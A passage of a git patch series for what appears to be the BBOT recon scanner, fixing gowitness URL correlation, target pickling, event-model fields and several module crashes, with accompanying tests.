0e515b48ce..e9ce40a558 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -181,7 +181,10 @@ async def handle_batch(self, *events): # NOTE: this prevents long filenames from causing problems in BBOT, but gowitness will still fail to save it. filename = self.helpers.truncate_filename(filename) webscreenshot_data = {"path": str(filename), "url": final_url} - parent_event = event_dict[url] + parent_event = event_dict.get(url) + if parent_event is None: + self.warning(f"Could not correlate screenshot to parent event for URL: {screenshot['url']}") + continue await self.emit_event( webscreenshot_data, "WEBSCREENSHOT", From d85d55fdcf22f1d88442259a5e3b18e145df876c Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Mon, 23 Mar 2026 12:15:49 -0600 Subject: [PATCH 344/912] Fix PyRadixTarget pickle error and gowitness URL correlation failures The radixtarget 4.x migration introduced a Rust-backed PyRadixTarget type that cannot be pickled. Since the web engine passes BBOTTarget (which contains RadixTarget) to a subprocess via SpawnProcess, every module that makes HTTP requests was failing with: "cannot pickle 'builtins.PyRadixTarget' object" This affected telerik, reflected_parameters, azure_tenant, emailformat, dnsbrute_mutations, and many others. Fix: add __getstate__/__setstate__ to BaseTarget so the RadixTarget is excluded from pickling and reconstructed from event_seeds on the other side. Additionally, fix gowitness handle_batch URL correlation: - Normalize event_dict keys with clean_url() so they match the normalized DB URLs during lookup (fixes the root cause of KeyError crashes like the one partially addressed by PR #2974) - Use .get() instead of bare dict access for the screenshot section, which PR #2974 missed (it only fixed network_logs and technologies) --- bbot/modules/gowitness.py | 12 ++++++++---- bbot/scanner/target.py | 16 ++++++++++++++++ 2 files changed, 24 insertions(+), 4 deletions(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index e9ce40a558..d12197618b 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -155,12 +155,16 @@ async def filter_event(self, event): async def handle_batch(self, *events): self.prep() event_dict = {} + stdin_urls = [] for e in events: - key = e.data + url = e.data if e.type == "SOCIAL": - key = e.data["url"] - event_dict[key] = e - stdin = "\n".join(list(event_dict)) + url = e.data["url"] + stdin_urls.append(url) + # Normalize the key so it matches clean_url() lookups from the gowitness DB + normalized = self.helpers.clean_url(url).geturl() + event_dict[normalized] = e + stdin = "\n".join(stdin_urls) try: async for line in self.run_process_live(self.command, input=stdin, idle_timeout=self.idle_timeout): diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index c321439f60..14ce01c67f 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -167,6 +167,22 @@ def __len__(self): def __bool__(self): return bool(len(self._rt)) or bool(self.event_seeds) + def __getstate__(self): + state = self.__dict__.copy() + # RadixTarget contains a Rust PyRadixTarget which cannot be pickled + del state["_rt"] + return state + + def __setstate__(self, state): + self.__dict__.update(state) + acl_mode = isinstance(self, ACLTarget) and not self.strict_scope + self._rt = RadixTarget(strict_scope=self.strict_scope, acl_mode=acl_mode) + for event_seed in sorted( + self.event_seeds, key=lambda e: (0, 0) if not e.host else host_size_key(str(e.host)) + ): + if event_seed.host is not None: + self._rt.insert(str(event_seed.host), data=event_seed) + def __eq__(self, other): return self.hash == getattr(other, "hash", None) From 58a4083472db519fbe160574982f2bdf7d0c79e5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 23 Mar 2026 15:01:05 -0400 Subject: [PATCH 345/912] Fix BBOTTarget pickle support for engine subprocess --- bbot/scanner/target.py | 19 ++++++++++++++++++ bbot/test/test_step_1/test_target.py | 30 ++++++++++++++++++++++++++++ 2 files changed, 49 insertions(+) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index c321439f60..a91954557b 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -167,6 +167,21 @@ def __len__(self): def __bool__(self): return bool(len(self._rt)) or bool(self.event_seeds) + def __getstate__(self): + return { + "event_seeds": self.event_seeds, + "strict_scope": self.strict_scope, + "acl_mode": self._rt._acl_mode, + } + + def __setstate__(self, state): + self.strict_scope = state["strict_scope"] + self._rt = RadixTarget(strict_scope=state["strict_scope"], acl_mode=state["acl_mode"]) + self.event_seeds = set() + for event_seed in state["event_seeds"]: + self.event_seeds.add(event_seed) + self._add(event_seed.host, data=event_seed) + def __eq__(self, other): return self.hash == getattr(other, "hash", None) @@ -243,6 +258,10 @@ def __init__(self, *args, **kwargs): self.blacklist_regexes = set() super().__init__(*args, **kwargs) + def __setstate__(self, state): + self.blacklist_regexes = set() + super().__setstate__(state) + def get(self, host, **kwargs): """ Blacklists only accept IPs or strings. This is cleaner since we need to search for regex patterns. diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index a1344f4b30..48ab9a2d50 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -680,3 +680,33 @@ def counting_EventSeed(input): f"EventSeed was called {call_count} times for {len(targets)} targets; " f"expected {len(targets)} (seeds should reuse pre-parsed EventSeed objects)" ) + + +def test_target_pickle(): + """BBOTTarget must survive pickle round-trips (used by HTTP engine subprocess).""" + import pickle + + from bbot.scanner.target import BBOTTarget + + target = BBOTTarget( + target=["evilcorp.com", "1.2.3.0/24"], + blacklist=["bad.evilcorp.com"], + strict_scope=False, + ) + + data = pickle.dumps(target) + restored = pickle.loads(data) + + # scope checks work after unpickling + assert restored.in_target("evilcorp.com") + assert restored.in_target("www.evilcorp.com") + assert restored.in_target("1.2.3.4") + assert not restored.in_target("9.9.9.9") + + # blacklist works after unpickling + assert restored.blacklisted("bad.evilcorp.com") + assert not restored.in_scope("bad.evilcorp.com") + assert restored.in_scope("good.evilcorp.com") + + # hashes match + assert target.hash == restored.hash From 2032b04a906550b9a41c21c4c1a413a02d764e65 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 23 Mar 2026 15:01:05 -0400 Subject: [PATCH 346/912] Fix BBOTTarget pickle support for engine subprocess --- bbot/scanner/target.py | 19 ++++++++++++++++++ bbot/test/test_step_1/test_target.py | 30 ++++++++++++++++++++++++++++ 2 files changed, 49 insertions(+) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index c321439f60..a91954557b 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -167,6 +167,21 @@ def __len__(self): def __bool__(self): return bool(len(self._rt)) or bool(self.event_seeds) + def __getstate__(self): + return { + "event_seeds": self.event_seeds, + "strict_scope": self.strict_scope, + "acl_mode": self._rt._acl_mode, + } + + def __setstate__(self, state): + self.strict_scope = state["strict_scope"] + self._rt = RadixTarget(strict_scope=state["strict_scope"], acl_mode=state["acl_mode"]) + self.event_seeds = set() + for event_seed in state["event_seeds"]: + self.event_seeds.add(event_seed) + self._add(event_seed.host, data=event_seed) + def __eq__(self, other): return self.hash == getattr(other, "hash", None) @@ -243,6 +258,10 @@ def __init__(self, *args, **kwargs): self.blacklist_regexes = set() super().__init__(*args, **kwargs) + def __setstate__(self, state): + self.blacklist_regexes = set() + super().__setstate__(state) + def get(self, host, **kwargs): """ Blacklists only accept IPs or strings. This is cleaner since we need to search for regex patterns. diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index a1344f4b30..48ab9a2d50 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -680,3 +680,33 @@ def counting_EventSeed(input): f"EventSeed was called {call_count} times for {len(targets)} targets; " f"expected {len(targets)} (seeds should reuse pre-parsed EventSeed objects)" ) + + +def test_target_pickle(): + """BBOTTarget must survive pickle round-trips (used by HTTP engine subprocess).""" + import pickle + + from bbot.scanner.target import BBOTTarget + + target = BBOTTarget( + target=["evilcorp.com", "1.2.3.0/24"], + blacklist=["bad.evilcorp.com"], + strict_scope=False, + ) + + data = pickle.dumps(target) + restored = pickle.loads(data) + + # scope checks work after unpickling + assert restored.in_target("evilcorp.com") + assert restored.in_target("www.evilcorp.com") + assert restored.in_target("1.2.3.4") + assert not restored.in_target("9.9.9.9") + + # blacklist works after unpickling + assert restored.blacklisted("bad.evilcorp.com") + assert not restored.in_scope("bad.evilcorp.com") + assert restored.in_scope("good.evilcorp.com") + + # hashes match + assert target.hash == restored.hash From 29d898d8353767d5e8772d8442c9f765a3cd5490 Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Mon, 23 Mar 2026 12:28:19 -0600 Subject: [PATCH 347/912] Fix gowitness URL correlation by using scheme-and-port-agnostic keys Gowitness may change both the scheme and port of a URL it records in its database (e.g. recording http://host:443/ for an input of http://host/ when the server redirects from port 80 to HTTPS on port 443). This caused KeyError crashes and later correlation warnings. Use hostname + path as the event_dict key, ignoring scheme and port entirely, so lookups succeed regardless of how gowitness transforms the URL. Also use .get() with graceful fallback for any remaining edge cases. --- bbot/modules/gowitness.py | 38 +++++++++++++++++++++++++------------- 1 file changed, 25 insertions(+), 13 deletions(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index d12197618b..e687c17648 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -152,6 +152,19 @@ async def filter_event(self, event): return False, "event is not in-scope" return True + @staticmethod + def _url_key(parsed_url): + """Scheme-and-port-agnostic key for URL correlation. + + Gowitness may change both the scheme and port of a URL it visits + (e.g. recording http://host:443/ for an input of http://host/ when + the server redirects to HTTPS). We key only by hostname + path so + correlation succeeds regardless of scheme/port differences. + """ + hostname = parsed_url.hostname or "" + path = parsed_url.path or "/" + return f"{hostname}{path}" + async def handle_batch(self, *events): self.prep() event_dict = {} @@ -161,9 +174,8 @@ async def handle_batch(self, *events): if e.type == "SOCIAL": url = e.data["url"] stdin_urls.append(url) - # Normalize the key so it matches clean_url() lookups from the gowitness DB - normalized = self.helpers.clean_url(url).geturl() - event_dict[normalized] = e + key = self._url_key(self.helpers.urlparse(url)) + event_dict[key] = e stdin = "\n".join(stdin_urls) try: @@ -177,17 +189,16 @@ async def handle_batch(self, *events): # emit web screenshots new_screenshots = await self.get_new_screenshots() for filename, screenshot in new_screenshots.items(): - url = screenshot["url"] - url = self.helpers.clean_url(url).geturl() + raw_url = screenshot["url"] final_url = screenshot["final_url"] filename = self.screenshot_path / screenshot["filename"] filename = filename.relative_to(self.scan.home) # NOTE: this prevents long filenames from causing problems in BBOT, but gowitness will still fail to save it. filename = self.helpers.truncate_filename(filename) webscreenshot_data = {"path": str(filename), "url": final_url} - parent_event = event_dict.get(url) + parent_event = event_dict.get(self._url_key(self.helpers.urlparse(raw_url))) if parent_event is None: - self.warning(f"Could not correlate screenshot to parent event for URL: {screenshot['url']}") + self.warning(f"Could not correlate screenshot to parent event for URL: {raw_url}") continue await self.emit_event( webscreenshot_data, @@ -204,10 +215,10 @@ async def handle_batch(self, *events): tags = [f"status-{status_code}", f"ip-{ip}", "spider-danger"] _id = row["result_id"] - parent_url = self.helpers.clean_url(self.screenshots_taken[_id]).geturl() - parent_event = event_dict.get(parent_url) + raw_parent_url = self.screenshots_taken[_id] + parent_event = event_dict.get(self._url_key(self.helpers.urlparse(raw_parent_url))) if parent_event is None: - self.warning(f"Could not correlate network log to parent event for URL: {self.screenshots_taken[_id]}") + self.warning(f"Could not correlate network log to parent event for URL: {raw_parent_url}") continue if url and url.startswith("http"): await self.emit_event( @@ -222,14 +233,15 @@ async def handle_batch(self, *events): new_technologies = await self.get_new_technologies() for row in new_technologies.values(): parent_id = row["result_id"] - parent_url = self.helpers.clean_url(self.screenshots_taken[parent_id]).geturl() - parent_event = event_dict.get(parent_url) + raw_parent_url = self.screenshots_taken[parent_id] + parent_event = event_dict.get(self._url_key(self.helpers.urlparse(raw_parent_url))) if parent_event is None: self.warning( - f"Could not correlate technology to parent event for URL: {self.screenshots_taken[parent_id]}" + f"Could not correlate technology to parent event for URL: {raw_parent_url}" ) continue technology = row["value"] + parent_url = self.helpers.clean_url(raw_parent_url).geturl() tech_data = {"technology": technology, "url": parent_url, "host": str(parent_event.host)} await self.emit_event( tech_data, From ec6dd40270b9e8963683e8fc13f59e3434e1685d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 23 Mar 2026 15:25:53 -0400 Subject: [PATCH 348/912] Add http_title field to pydantic and SQL event models --- bbot/models/pydantic.py | 1 + bbot/models/sql.py | 1 + 2 files changed, 2 insertions(+) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index ceb0af33ae..ce401a19e6 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -83,6 +83,7 @@ class Event(BBOTBaseModel): netloc: Optional[str] = None resolved_hosts: Optional[List] = None dns_children: Optional[dict] = None + http_title: Optional[str] = None web_spider_distance: int = 10 scope_distance: int = 10 scan: Annotated[str, "indexed"] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 4bf6efc7cb..e8210ce338 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -90,6 +90,7 @@ def get_data(self): reverse_host: Optional[str] = Field(default="", exclude=True, index=True) resolved_hosts: List = Field(default=[], sa_type=JSON) dns_children: dict = Field(default={}, sa_type=JSON) + http_title: Optional[str] = None web_spider_distance: int = 10 scope_distance: int = Field(default=10, index=True) scan: str = Field(index=True) From 60939bb0bb97f83ef240cac985192904782cf314 Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Mon, 23 Mar 2026 13:47:59 -0600 Subject: [PATCH 349/912] Drop local pickle fix in favor of PR #2983 Remove our __getstate__/__setstate__ from BaseTarget; the upstream fix-target-pickle branch handles this more cleanly (explicit state, direct acl_mode reading, ScanBlacklist override, and a test). --- bbot/scanner/target.py | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 14ce01c67f..c321439f60 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -167,22 +167,6 @@ def __len__(self): def __bool__(self): return bool(len(self._rt)) or bool(self.event_seeds) - def __getstate__(self): - state = self.__dict__.copy() - # RadixTarget contains a Rust PyRadixTarget which cannot be pickled - del state["_rt"] - return state - - def __setstate__(self, state): - self.__dict__.update(state) - acl_mode = isinstance(self, ACLTarget) and not self.strict_scope - self._rt = RadixTarget(strict_scope=self.strict_scope, acl_mode=acl_mode) - for event_seed in sorted( - self.event_seeds, key=lambda e: (0, 0) if not e.host else host_size_key(str(e.host)) - ): - if event_seed.host is not None: - self._rt.insert(str(event_seed.host), data=event_seed) - def __eq__(self, other): return self.hash == getattr(other, "hash", None) From c7d20d7752431d970307970f266c459259020754 Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Mon, 23 Mar 2026 13:54:30 -0600 Subject: [PATCH 350/912] ruff format gowitness.py --- bbot/modules/gowitness.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index e687c17648..57cce58581 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -236,9 +236,7 @@ async def handle_batch(self, *events): raw_parent_url = self.screenshots_taken[parent_id] parent_event = event_dict.get(self._url_key(self.helpers.urlparse(raw_parent_url))) if parent_event is None: - self.warning( - f"Could not correlate technology to parent event for URL: {raw_parent_url}" - ) + self.warning(f"Could not correlate technology to parent event for URL: {raw_parent_url}") continue technology = row["value"] parent_url = self.helpers.clean_url(raw_parent_url).geturl() From e653c58781b199980342c4a3fcc7a4f8da5287dc Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 23 Mar 2026 19:27:10 -0400 Subject: [PATCH 351/912] Fix azure_tenant crash on non-existent source_domain attribute --- bbot/modules/azure_tenant.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/modules/azure_tenant.py b/bbot/modules/azure_tenant.py index f45f868f17..51a62d2ddf 100644 --- a/bbot/modules/azure_tenant.py +++ b/bbot/modules/azure_tenant.py @@ -525,7 +525,6 @@ async def emit_findings(self, event, domain, tenant_data): tags=["affiliate", "ms-auth-url"], ) if fed_url_event: - fed_url_event.source_domain = domain await self.emit_event(fed_url_event) def _derive_cloud_type(self, openid_data): From 7ed18cc7e9f6e06d3044f74f8c6dd81dbb8340eb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 23 Mar 2026 21:33:53 -0400 Subject: [PATCH 352/912] Add source_domain to event __slots__, restore in azure_tenant source_domain was silently failing on both azure_tenant and oauth due to __slots__. Adding it properly enables the cross-module domain context handoff that oauth relies on. --- bbot/core/event/base.py | 2 ++ bbot/modules/azure_tenant.py | 1 + 2 files changed, 3 insertions(+) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 56c956dd13..4082cc7d8c 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -171,6 +171,8 @@ class BaseEvent: "_data_path", # Web parameter attributes "envelopes", + # Cross-module communication + "source_domain", # Public attributes "module", "scan", diff --git a/bbot/modules/azure_tenant.py b/bbot/modules/azure_tenant.py index 51a62d2ddf..f45f868f17 100644 --- a/bbot/modules/azure_tenant.py +++ b/bbot/modules/azure_tenant.py @@ -525,6 +525,7 @@ async def emit_findings(self, event, domain, tenant_data): tags=["affiliate", "ms-auth-url"], ) if fed_url_event: + fed_url_event.source_domain = domain await self.emit_event(fed_url_event) def _derive_cloud_type(self, openid_data): From c2697b181249c06b7e4bbd8fd33a8a5e5cc9e678 Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Mon, 23 Mar 2026 20:35:56 -0600 Subject: [PATCH 353/912] Fix gowitness URL correlation for multiple URLs on same host Use tiered lookup: exact raw URL match first, then fall back to the loose hostname+path key. This correctly handles both multi-port URLs (e.g. :80 and :443 on the same host) and gowitness scheme/port transformations from redirects. --- bbot/modules/gowitness.py | 28 +++++++++++++++++++++------- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index 57cce58581..0f65780cc8 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -165,24 +165,38 @@ def _url_key(parsed_url): path = parsed_url.path or "/" return f"{hostname}{path}" + def _resolve_parent(self, db_url): + """Match a URL from the gowitness DB back to the original input event. + + Tries exact match first, then falls back to a scheme-and-port-agnostic + lookup for cases where gowitness transforms the stored URL (e.g. after + a redirect from http to https). + """ + parent = self._event_dict.get(db_url) + if parent is None: + parent = self._event_dict_loose.get(self._url_key(self.helpers.urlparse(db_url))) + return parent + async def handle_batch(self, *events): self.prep() - event_dict = {} + self._event_dict = {} + self._event_dict_loose = {} stdin_urls = [] for e in events: url = e.data if e.type == "SOCIAL": url = e.data["url"] stdin_urls.append(url) - key = self._url_key(self.helpers.urlparse(url)) - event_dict[key] = e + self._event_dict[url] = e + loose_key = self._url_key(self.helpers.urlparse(url)) + self._event_dict_loose.setdefault(loose_key, e) stdin = "\n".join(stdin_urls) try: async for line in self.run_process_live(self.command, input=stdin, idle_timeout=self.idle_timeout): self.debug(line) except asyncio.exceptions.TimeoutError: - urls_str = ",".join(event_dict) + urls_str = ",".join(self._event_dict) self.warning(f"Gowitness timed out while visiting the following URLs: {urls_str}", trace=False) return @@ -196,7 +210,7 @@ async def handle_batch(self, *events): # NOTE: this prevents long filenames from causing problems in BBOT, but gowitness will still fail to save it. filename = self.helpers.truncate_filename(filename) webscreenshot_data = {"path": str(filename), "url": final_url} - parent_event = event_dict.get(self._url_key(self.helpers.urlparse(raw_url))) + parent_event = self._resolve_parent(raw_url) if parent_event is None: self.warning(f"Could not correlate screenshot to parent event for URL: {raw_url}") continue @@ -216,7 +230,7 @@ async def handle_batch(self, *events): _id = row["result_id"] raw_parent_url = self.screenshots_taken[_id] - parent_event = event_dict.get(self._url_key(self.helpers.urlparse(raw_parent_url))) + parent_event = self._resolve_parent(raw_parent_url) if parent_event is None: self.warning(f"Could not correlate network log to parent event for URL: {raw_parent_url}") continue @@ -234,7 +248,7 @@ async def handle_batch(self, *events): for row in new_technologies.values(): parent_id = row["result_id"] raw_parent_url = self.screenshots_taken[parent_id] - parent_event = event_dict.get(self._url_key(self.helpers.urlparse(raw_parent_url))) + parent_event = self._resolve_parent(raw_parent_url) if parent_event is None: self.warning(f"Could not correlate technology to parent event for URL: {raw_parent_url}") continue From 2caf180a0a530e330afe3cd14455e45b1d108df5 Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Tue, 24 Mar 2026 07:27:30 -0600 Subject: [PATCH 354/912] Add unit test for gowitness _resolve_parent tiered lookup --- .../module_tests/test_module_gowitness.py | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_gowitness.py b/bbot/test/test_step_2/module_tests/test_module_gowitness.py index 528cc3abec..bb35526bfb 100644 --- a/bbot/test/test_step_2/module_tests/test_module_gowitness.py +++ b/bbot/test/test_step_2/module_tests/test_module_gowitness.py @@ -134,3 +134,65 @@ def check(self, module_test, events): filename = Path(webscreenshot.data["path"]) # sadly this file doesn't exist because gowitness doesn't truncate properly assert not filename.exists() + + +class TestGowitness_ResolveParent(ModuleTestBase): + """ + Test the _resolve_parent tiered lookup logic that correlates gowitness + DB URLs back to input events. Validates both exact match and loose + (hostname+path) fallback without needing gowitness/Chrome to run. + """ + + targets = ["127.0.0.1:8888"] + modules_overrides = ["gowitness", "httpx"] + + import shutil + + home_dir = Path("/tmp/.bbot_gowitness_resolve_test") + shutil.rmtree(home_dir, ignore_errors=True) + config_overrides = { + "force_deps": True, + "home": str(home_dir), + "omit_event_types": [], + } + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + respond_args={"response_data": "TestTest"}, + ) + + def check(self, module_test, events): + gw = module_test.scan.modules["gowitness"] + + # Simulate events with different schemes/ports + class FakeEvent: + def __init__(self, url): + self.data = url + self.type = "URL" + + event_http = FakeEvent("http://example.com/") + event_https = FakeEvent("https://example.com/") + event_8080 = FakeEvent("http://example.com:8080/path") + + # Build dicts as handle_batch would + gw._event_dict = {} + gw._event_dict_loose = {} + for e in [event_http, event_https, event_8080]: + gw._event_dict[e.data] = e + loose_key = gw._url_key(gw.helpers.urlparse(e.data)) + gw._event_dict_loose.setdefault(loose_key, e) + + # Exact match works + assert gw._resolve_parent("http://example.com/") is event_http + assert gw._resolve_parent("https://example.com/") is event_https + assert gw._resolve_parent("http://example.com:8080/path") is event_8080 + + # Loose fallback: gowitness records http://host:443/ for https://host/ + # Loose key "example.com/" maps to event_http (first via setdefault) + assert gw._resolve_parent("http://example.com:443/") is event_http + + # Different path resolves via loose fallback + assert gw._resolve_parent("https://example.com:9999/path") is event_8080 + + # Unknown URL returns None + assert gw._resolve_parent("http://unknown.com/") is None From 05e5393a3de11247e7683a5d5e1010ac658c88e1 Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Tue, 24 Mar 2026 07:45:53 -0600 Subject: [PATCH 355/912] Bump gowitness to 3.1.1, add multi-port integration test Upgrade pinned gowitness version from 3.0.5 to 3.1.1. Replace the unit test for _resolve_parent with a real integration test that runs gowitness against two ports (HTTP :8888 and HTTPS :9999) and verifies both get correctly correlated WEBSCREENSHOT events with the right parent attribution. --- bbot/modules/gowitness.py | 2 +- .../module_tests/test_module_gowitness.py | 72 ++++++++----------- 2 files changed, 32 insertions(+), 42 deletions(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index 0f65780cc8..098cc096c4 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -16,7 +16,7 @@ class gowitness(BaseModule): flags = ["active", "safe", "web-screenshots"] meta = {"description": "Take screenshots of webpages", "created_date": "2022-07-08", "author": "@TheTechromancer"} options = { - "version": "3.0.5", + "version": "3.1.1", "threads": 0, "timeout": 10, "resolution_x": 1440, diff --git a/bbot/test/test_step_2/module_tests/test_module_gowitness.py b/bbot/test/test_step_2/module_tests/test_module_gowitness.py index bb35526bfb..1dbac32f82 100644 --- a/bbot/test/test_step_2/module_tests/test_module_gowitness.py +++ b/bbot/test/test_step_2/module_tests/test_module_gowitness.py @@ -136,19 +136,19 @@ def check(self, module_test, events): assert not filename.exists() -class TestGowitness_ResolveParent(ModuleTestBase): +class TestGowitness_MultiPort(ModuleTestBase): """ - Test the _resolve_parent tiered lookup logic that correlates gowitness - DB URLs back to input events. Validates both exact match and loose - (hostname+path) fallback without needing gowitness/Chrome to run. + Integration test: two URLs on the same host with different ports + (HTTP :8888 and HTTPS :9999) both get correctly correlated screenshots. + Exercises the real gowitness binary and _resolve_parent tiered lookup. """ - targets = ["127.0.0.1:8888"] + targets = ["http://127.0.0.1:8888", "https://127.0.0.1:9999"] modules_overrides = ["gowitness", "httpx"] import shutil - home_dir = Path("/tmp/.bbot_gowitness_resolve_test") + home_dir = Path("/tmp/.bbot_gowitness_multiport_test") shutil.rmtree(home_dir, ignore_errors=True) config_overrides = { "force_deps": True, @@ -157,42 +157,32 @@ class TestGowitness_ResolveParent(ModuleTestBase): } async def setup_after_prep(self, module_test): + # HTTP server on port 8888 module_test.set_expect_requests( - respond_args={"response_data": "TestTest"}, + respond_args={ + "response_data": "Port 8888Port 8888", + "headers": {"Server": "Apache/2.4.41"}, + }, + ) + # HTTPS server on port 9999 + module_test.httpserver_ssl.expect_request("/").respond_with_data( + "Port 9999Port 9999", + headers={"Server": "nginx/1.18.0"}, ) def check(self, module_test, events): - gw = module_test.scan.modules["gowitness"] - - # Simulate events with different schemes/ports - class FakeEvent: - def __init__(self, url): - self.data = url - self.type = "URL" - - event_http = FakeEvent("http://example.com/") - event_https = FakeEvent("https://example.com/") - event_8080 = FakeEvent("http://example.com:8080/path") - - # Build dicts as handle_batch would - gw._event_dict = {} - gw._event_dict_loose = {} - for e in [event_http, event_https, event_8080]: - gw._event_dict[e.data] = e - loose_key = gw._url_key(gw.helpers.urlparse(e.data)) - gw._event_dict_loose.setdefault(loose_key, e) - - # Exact match works - assert gw._resolve_parent("http://example.com/") is event_http - assert gw._resolve_parent("https://example.com/") is event_https - assert gw._resolve_parent("http://example.com:8080/path") is event_8080 - - # Loose fallback: gowitness records http://host:443/ for https://host/ - # Loose key "example.com/" maps to event_http (first via setdefault) - assert gw._resolve_parent("http://example.com:443/") is event_http - - # Different path resolves via loose fallback - assert gw._resolve_parent("https://example.com:9999/path") is event_8080 - - # Unknown URL returns None - assert gw._resolve_parent("http://unknown.com/") is None + webscreenshots = [e for e in events if e.type == "WEBSCREENSHOT"] + assert len(webscreenshots) >= 2, f"Expected at least 2 WEBSCREENSHOT events, got {len(webscreenshots)}" + + screenshot_urls = {e.data["url"] for e in webscreenshots} + assert any("8888" in url for url in screenshot_urls), f"No screenshot for port 8888. URLs: {screenshot_urls}" + assert any("9999" in url for url in screenshot_urls), f"No screenshot for port 9999. URLs: {screenshot_urls}" + + # Verify parent events reference the correct port + for ws in webscreenshots: + url = ws.data["url"] + parent = ws.parent + if "8888" in url: + assert "8888" in str(parent.data), f"Screenshot for :8888 has wrong parent: {parent.data}" + elif "9999" in url: + assert "9999" in str(parent.data), f"Screenshot for :9999 has wrong parent: {parent.data}" From f3c59c6004a600ca50f608b68fb629d2761c4cb3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 11:01:29 -0400 Subject: [PATCH 356/912] Fix retirejs crash: parent URL event data is a string, not a dict Use event.parent.parsed_url.geturl() to get the source page URL instead of event.parent.data["url"] which crashes on URL_UNVERIFIED parents (string data, not dict). --- bbot/modules/retirejs.py | 2 +- bbot/test/test_step_2/module_tests/test_module_retirejs.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index e7c3da3a9f..22b60ec73b 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -188,7 +188,7 @@ async def handle_event(self, event): "severity": severity, "confidence": "HIGH", "component": component, - "url": event.parent.data["url"], + "url": event.parent.parsed_url.geturl(), } await self.emit_event( data, diff --git a/bbot/test/test_step_2/module_tests/test_module_retirejs.py b/bbot/test/test_step_2/module_tests/test_module_retirejs.py index 0cf09a8eae..b9ce1ba3c1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_retirejs.py +++ b/bbot/test/test_step_2/module_tests/test_module_retirejs.py @@ -132,6 +132,8 @@ def check(self, module_test, events): for finding in retirejs_findings: assert "description" in finding.data, "Finding should have description" assert "url" in finding.data, "Finding should have url" + # url field should point to the page that loaded the JS, not the JS file itself + assert finding.data["url"] == "http://127.0.0.1:8888/", "url should be the parent page URL" assert finding.parent.type == "URL_UNVERIFIED", "Parent should be URL_UNVERIFIED" From f940a647b8148b8fe6017e7724eccd2a276302a3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 13:55:30 -0400 Subject: [PATCH 357/912] Add unified .url property to BaseEvent, migrate all modules Add a .url property on BaseEvent that returns the URL string for any event type via parsed_url.geturl(). Works uniformly across URL, URL_UNVERIFIED, HTTP_RESPONSE, FINDING, WEB_PARAMETER, TECHNOLOGY, STORAGE_BUCKET, etc. Returns empty string for non-URL events. Also fix WEB_PARAMETER.sanitize_data to call super() so parsed_url gets set (was silently broken). Replace all event.data["url"], event.data.get("url"), and type-checking patterns across 34 files to use event.url instead. --- bbot/core/event/base.py | 8 +++++ bbot/modules/ajaxpro.py | 4 +-- bbot/modules/badsecrets.py | 8 ++--- bbot/modules/bucket_file_enum.py | 2 +- bbot/modules/docker_pull.py | 2 +- bbot/modules/dotnetnuke.py | 34 ++++++++++----------- bbot/modules/filedownload.py | 6 ++-- bbot/modules/git_clone.py | 2 +- bbot/modules/gitdumper.py | 2 +- bbot/modules/github_workflows.py | 4 +-- bbot/modules/google_playstore.py | 2 +- bbot/modules/gowitness.py | 2 +- bbot/modules/host_header.py | 6 ++-- bbot/modules/hunt.py | 5 ++- bbot/modules/internal/excavate.py | 4 +-- 